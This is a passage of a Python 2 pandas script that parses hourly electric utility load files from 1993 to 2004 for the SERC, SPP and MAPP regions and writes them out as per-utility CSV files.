: pd.DataFrame([i.split() for i in open('%s/serc/2002/ODECV02' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/ODECV03' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/ODECV04' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values }, 195 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/APCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/APCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Alabama'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 2].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Alabama'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 2].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 2].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 1].values }, 7140 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/GPCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/GPCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).replace(np.nan, 0).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Georgia'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 3].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Georgia'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 3].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 3].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 2].values }, 7801 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/GUCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/GUCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Gulf'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 4].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Gulf'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 4].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 4].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 3].values }, 12686 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/MPCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/MPCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Mississippi'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 5].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Mississippi'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 5].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 5].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 4].values }, 16687 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/SECO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/SECO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Savannah'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 6].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Savannah'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 6].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 6].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 5].values }, 18195 : { 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['System'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 7].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Southern'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 7].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 8].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 7].values } } serc.update({40229 : {}}) for i in serc[402290].keys(): serc[40229][i] = serc[402290][i] + serc[402291][i] serc[189][2001][serc[189][2001] > 2000] = 0 serc[3408][2002][serc[3408][2002] > 2000] = 0 serc[3408][2003][serc[3408][2003] > 2000] = 0 serc[7140][1999][serc[7140][1999] < 0] = 0 serc[7140][1994][serc[7140][1994] > 20000] = 0 if not os.path.exists('./serc'): os.mkdir('serc') for k in serc.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(serc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(serc[k][i]))) for i in serc[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./serc/%s.csv' % k) ###### SPP # AECC: 807 # CAJN: 2777 # CLEC: 3265 # EMDE: 5860 # ENTR: 12506 # KCPU: 9996 # LEPA: 26253 # LUS: 9096 # GSU: 55936 <- 7806 # MPS: 12699 # OKGE: 14063 # OMPA: 14077 # PSOK: 15474 # SEPC: 18315 # WFEC: 20447 # WPEK: 20391 # CSWS: 3283 # SRGT: 40233 # GSEC: 7349 spp = { 807 : { 1993 : pd.read_csv('%s/spp/1993/AECC93' % (fulldir), skiprows=6, skipfooter=1, header=None).iloc[:, -1].values, 1994 : pd.read_csv('%s/spp/1994/AECC94' % (fulldir), skiprows=8, skipfooter=1, header=None).iloc[:, -1].values, 1995 : pd.read_csv('%s/spp/1995/AECC95' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1996 : pd.read_csv('%s/spp/1996/AECC96' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1997 : pd.read_csv('%s/spp/1997/AECC97' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1998 : pd.read_csv('%s/spp/1998/AECC98' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1999 : pd.read_csv('%s/spp/1999/AECC99' % (fulldir), skiprows=5, skipfooter=1, header=None).iloc[:, -1].values, 2003 : pd.read_csv('%s/spp/2003/AECC03' % (fulldir), skiprows=5, skipfooter=1, header=None).iloc[:, -2].values, 2004 : pd.read_csv('%s/spp/2004/AECC04' % (fulldir), skiprows=5, header=None).iloc[:, -2].values }, 2777 : { 1998 : pd.read_excel('%s/spp/1998/CAJN98' % (fulldir), skiprows=4).iloc[:365, 1:].values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/CAJN99' % (fulldir)).readlines()[:]])[2].astype(float).values }, 3265 : { 1994 : pd.read_fwf('%s/spp/1994/CLEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.DataFrame([i.split() for i in open('%s/spp/1996/CLEC96' % (fulldir)).readlines()[:]])[0].astype(float).values, 1997 : pd.read_csv('%s/spp/1997/CLEC97' % (fulldir)).iloc[:, 2].str.replace(',', '').astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/spp/1998/CLEC98' % (fulldir)).readlines()[:]])[1].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/CLEC99' % (fulldir)).readlines()[1:]]).iloc[:, 0].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/spp/2001/CLEC01' % (fulldir)).readlines()[:]])[4].replace('NA', '0').astype(float).values, }, 5860 : { 1997 : pd.DataFrame([i.split() for i in open('%s/spp/1997/EMDE97' % (fulldir)).readlines()[:]])[3].astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/spp/1998/EMDE98' % (fulldir)).readlines()[2:-2]])[2].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/EMDE99' % (fulldir)).readlines()[3:8763]])[2].astype(float).values, 2001 : pd.read_excel('%s/spp/2001/EMDE01' % (fulldir))['Load'].dropna().values, 2002 : pd.read_excel('%s/spp/2002/EMDE02' % (fulldir))['Load'].dropna().values, 2003 : pd.read_excel('%s/spp/2003/EMDE03' % (fulldir))['Load'].dropna().values, 2004 : pd.read_excel('%s/spp/2004/EMDE04' % (fulldir), skiprows=2).iloc[:8784, -1].values }, 12506 : { 1994 : pd.DataFrame([i.split() for i in open('%s/spp/1994/ENTR94' % (fulldir)).readlines()[:]]).iloc[:, 1:-1].astype(float).values.ravel(), 1995 : pd.DataFrame([i.split() for i in open('%s/spp/1995/ENTR95' % (fulldir)).readlines()[1:-2]]).iloc[:, 1:-1].astype(float).values.ravel(), 1997 : pd.read_csv('%s/spp/1997/ENTR97' % (fulldir), header=None).iloc[:, 1:-1].astype(float).values.ravel(), 1998 : pd.read_csv('%s/spp/1998/ENTR98' % (fulldir), header=None)[2].astype(float).values, 1999 : pd.read_excel('%s/spp/1999/ENTR99' % (fulldir)).iloc[:, -1].values, 2000 : pd.DataFrame([i.split() for i in open('%s/spp/2000/ENTR00' % (fulldir)).readlines()[4:]]).iloc[:, 3:].astype(float).values.ravel(), 2001 : pd.read_fwf('%s/spp/2001/ENTR01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 9996 : { 1994 : pd.read_fwf('%s/spp/1994/KCPU94' % (fulldir), skiprows=4, header=None).astype(str).apply(lambda x: x.str[-3:]).astype(float).values.ravel(), 1997 : pd.read_csv('%s/spp/1997/KCPU97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/spp/1998/KCPU98' % (fulldir), engine='python', header=None)[0].values, 1999 : pd.read_csv('%s/spp/1999/KCPU99' % (fulldir), skiprows=1, engine='python', header=None)[0].values, 2000 : pd.read_csv('%s/spp/2000/KCPU00' % (fulldir), engine='python', header=None)[0].values, 2002 : pd.read_excel('%s/spp/2002/KCPU02' % (fulldir)).iloc[:, -1].values, 2003 : pd.read_csv('%s/spp/2003/KCPU03' % (fulldir), engine='python', header=None)[0].values, 2004 : pd.read_csv('%s/spp/2004/KCPU04' % (fulldir), engine='python', header=None)[0].values }, 26253 : { 1993 : pd.read_csv('%s/spp/1993/LEPA93' % (fulldir), skiprows=3, header=None)[0].values, 1994 : pd.read_csv('%s/spp/1994/LEPA94' % (fulldir), skiprows=3, header=None)[0].values, 1995 : pd.read_csv('%s/spp/1995/LEPA95' % (fulldir), sep='\t', skiprows=1, header=None)[2].values, 1996 : pd.read_csv('%s/spp/1996/LEPA96' % (fulldir), sep='\t', skiprows=1, header=None)[2].values, 1997 : pd.read_csv('%s/spp/1997/LEPA97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/spp/1998/LEPA98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None), 1998 : pd.Series(pd.read_csv('%s/spp/1998/LEPA98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None)[[1,3]].values.ravel(order='F')).dropna().values, 1999 : pd.read_csv('%s/spp/1999/LEPA99' % (fulldir), sep='\t')['Load'].values, 2001 : pd.read_csv('%s/spp/2001/LEPA01' % (fulldir), engine='python', sep='\t', header=None)[1].values, 2002 : pd.read_csv('%s/spp/2002/LEPA02' % (fulldir), engine='python', sep='\t', header=None)[1].values, 2003 : pd.read_excel('%s/spp/2003/LEPA03' % (fulldir), header=None)[1].values }, 9096 : { 1993 : pd.DataFrame([i.split() for i in open('%s/spp/1993/LUS93' % (fulldir)).readlines()[3:-1]]).iloc[:, -1].astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/spp/1994/LUS94' % (fulldir)).readlines()[3:-1]]).iloc[:, -1].astype(float).values, 1995 : pd.DataFrame([i.split() for i in open('%s/spp/1995/LUS95' % (fulldir)).readlines()[4:-1]]).iloc[:, -1].astype(float).values, 1996 : pd.DataFrame([i.split() for i in open('%s/spp/1996/LUS96' % (fulldir)).readlines()[4:-1]]).iloc[:, -1].astype(float).values, 1997 : pd.DataFrame([i.split('\t') for i in open('%s/spp/1997/LUS97' % (fulldir)).readlines()[3:-2]]).iloc[:, -1].astype(float).values, 1998 : pd.DataFrame([i.split('\t') for i in open('%s/spp/1998/LUS98' % (fulldir)).readlines()[4:]]).iloc[:, -1].astype(float).values, 1999 : pd.DataFrame([i.split(' ') for i in open('%s/spp/1999/LUS99' % (fulldir)).readlines()[4:]]).iloc[:, -1].astype(float).values, 2000 : pd.read_csv('%s/spp/2000/LUS00' % (fulldir), skiprows=3, skipfooter=1, header=None).iloc[:, -1].values, 2001 : pd.read_csv('%s/spp/2001/LUS01' % (fulldir), skiprows=3, header=None).iloc[:, -1].values, 2002 : pd.read_csv('%s/spp/2002/LUS02' % (fulldir), skiprows=3, header=None).iloc[:, -1].values, 2003 : pd.read_csv('%s/spp/2003/LUS03' % (fulldir), skiprows=3, header=None).iloc[:, -1].values, 2004 : pd.read_csv('%s/spp/2004/LUS04' % (fulldir), skiprows=4, header=None).iloc[:, -1].values }, 55936 : { 1993 : pd.read_csv('%s/spp/1993/GSU93' % (fulldir), engine='python', header=None)[0].values }, 12699 : { 1993 : pd.read_csv('%s/spp/1993/MPS93' % (fulldir), sep=' ', skipinitialspace=True)['TOTLOAD'].values, 1996 : pd.read_excel('%s/spp/1996/MPS96' % (fulldir), skiprows=6, header=None).iloc[:, -1].values, 1998 : pd.read_csv('%s/spp/1998/MPS98' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2000 : pd.read_csv('%s/spp/2000/MPS00' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2001 : pd.read_csv('%s/spp/2001/MPS01' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2002 : pd.read_csv('%s/spp/2002/MPS02' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 2003 : pd.read_excel('%s/spp/2003/MPS03' % (fulldir)).iloc[:, 1:].values.ravel() }, 14063 : { 1994 : pd.read_csv('%s/spp/1994/OKGE94' % (fulldir), header=None).iloc[:, 1:13].values.ravel() }, 14077 : { 1993 : pd.read_csv('%s/spp/1993/OMPA93' % (fulldir), skiprows=2, header=None, sep=' ', skipinitialspace=True, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/spp/1997/OMPA97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/spp/1998/OMPA98' % (fulldir), skiprows=2, engine='python', header=None)[0].str.replace('\*', '').astype(float).values, 2000 : pd.read_csv('%s/spp/2000/OMPA00' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2001 : pd.read_csv('%s/spp/2001/OMPA01' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2002 : pd.read_csv('%s/spp/2002/OMPA02' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2003 : pd.read_csv('%s/spp/2003/OMPA03' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000, 2004 : pd.read_csv('%s/spp/2004/OMPA04' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000 }, 15474 : { 1993 : pd.read_fwf('%s/spp/1993/PSOK93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 18315 : { 1993 : pd.read_csv('%s/spp/1993/SEPC93' % (fulldir), header=None).iloc[:, 1:].astype(str).apply(lambda x: x.str.replace('NA', '').str.strip()).replace('', '0').astype(float).values.ravel(), 1997 : (pd.read_fwf('%s/spp/1997/SEPC97' % (fulldir), skiprows=1, header=None)[5]/1000).values, 1999 : pd.read_csv('%s/spp/1999/SEPC99' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].str.strip().replace('#VALUE!', '0').astype(float).values, 2000 : pd.read_csv('%s/spp/2000/SEPC00' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].apply(lambda x: 0 if len(x) > 3 else x).astype(float).values, 2001 : pd.read_csv('%s/spp/2001/SEPC01' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].apply(lambda x: 0 if len(x) > 3 else x).astype(float).values, 2002 : (pd.read_fwf('%s/spp/2002/SEPC02' % (fulldir), skiprows=1, header=None)[6]).str.replace('"', '').str.strip().astype(float).values, 2004 : pd.read_csv('%s/spp/2004/SEPC04' % (fulldir), header=None, sep='\t')[5].values }, 20447 : { 1993 : pd.read_csv('%s/spp/1993/WFEC93' % (fulldir)).iloc[:, 0].values, 2000 : pd.read_csv('%s/spp/2000/WFEC00' % (fulldir), header=None, sep=' ', skipinitialspace=True)[0].values }, 20391 : { 1993 : pd.DataFrame([i.split() for i in open('%s/spp/1993/WPEK93' % (fulldir)).readlines()[:]]).iloc[:365, 1:25].astype(float).values.ravel(), 1996 : pd.read_excel('%s/spp/1996/WPEK96' % (fulldir), skiprows=2).dropna().iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/spp/1998/WPEK98' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values, 2000 : pd.read_csv('%s/spp/2000/WPEK00' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values, 2001 : pd.read_csv('%s/spp/2001/WPEK01' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values, 2002 : pd.read_csv('%s/spp/2002/WPEK02' % (fulldir), header=None, sep=' ', skipinitialspace=True)[4].values }, 3283 : { 1997 : pd.read_fwf('%s/spp/1997/CSWS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/spp/1998/CSWS98' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True, header=None)[2].values, 1999 : pd.read_csv('%s/spp/1999/CSWS99' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[2].values, 2000 : pd.read_csv('%s/spp/2000/CSWS00' % (fulldir), skiprows=5, sep=' ', skipinitialspace=True, header=None)[2].values }, 40233 : { 2000 : pd.read_fwf('%s/spp/2000/SRGT00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_fwf('%s/spp/2001/SRGT01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 7349 : { 1997 : pd.read_csv('%s/spp/1997/GSEC97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/spp/1998/GSEC98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_csv('%s/spp/1999/GSEC99' % (fulldir), sep='\s', skipinitialspace=True, skiprows=2, header=None)[17].dropna().values, 2000 : pd.read_csv('%s/spp/2000/GSEC00' % (fulldir), skiprows=1, engine='python', header=None)[0].values, 2001 : pd.DataFrame([i.split() for i in open('%s/spp/2001/GSEC01' % (fulldir)).readlines()[1:]])[0].astype(float).values, 2002 : pd.read_csv('%s/spp/2002/GSEC02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None)[5].values, 2003 : pd.read_csv('%s/spp/2003/GSEC03' % (fulldir), header=None)[2].values, 2004 : (pd.read_csv('%s/spp/2004/GSEC04' % (fulldir), sep=' ', skipinitialspace=True, skiprows=1, header=None)[5]/1000).values } } spp[9096][2003][spp[9096][2003] > 600] = 0 spp[9996][2002] = np.repeat(np.nan, len(spp[9996][2002])) spp[7349][2003] = np.repeat(np.nan, len(spp[7349][2003])) if not os.path.exists('./spp'): os.mkdir('spp') for k in spp.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(spp[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(spp[k][i]))) for i in spp[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./spp/%s.csv' % k) ###### MAPP # CIPC: 3258 # CP: 4322 # CBPC: 4363 # DPC: 4716 # HUC: 9130 # IES: 9219 # IPW: 9417 <- 9392 # IIGE: 9438 # LES: 11018 # MPL: 12647 # MPC: 12658 # MDU: 12819 # MEAN: 21352 # MPW: 13143 # NPPD: 13337 # NSP: 13781 # NWPS: 13809 # OPPD: 14127 # OTP: 14232 # SMMP: 40580 # UPA: 19514 # WPPI: 20858 # MEC: 12341 <- 9435 # CPA: 4322 # MWPS: 23333 mapp = { 3258 : { 1998 : pd.read_fwf('%s/mapp/1998/CIPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 4322 : { 1993 : pd.read_fwf('%s/mapp/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/CP96' % (fulldir), header=None).iloc[:, 2:].values.ravel() }, 4363 : { 1993 : pd.read_fwf('%s/mapp/1993/CBPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/CBPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/CBPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/CBPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/CBPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/CB02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 4716 : { 1993 : pd.read_fwf('%s/mapp/1993/DPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/DPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_csv('%s/mapp/1996/DPC96' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 6:].values.ravel() }, 9130 : { 1993 : pd.read_fwf('%s/mapp/1993/HUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/HUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/HUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/HUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/HUC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/HUC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/HUC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/HUC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9219 : { 1993 : pd.read_fwf('%s/mapp/1993/IESC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/IES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/IESC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/IES97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/IESC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9417 : { 1993 : pd.read_fwf('%s/mapp/1993/IPW93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/IPW94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/IPW95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/IPW96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/IPW97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/IPW98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9438 : { 1993 : pd.read_fwf('%s/mapp/1993/IIGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : 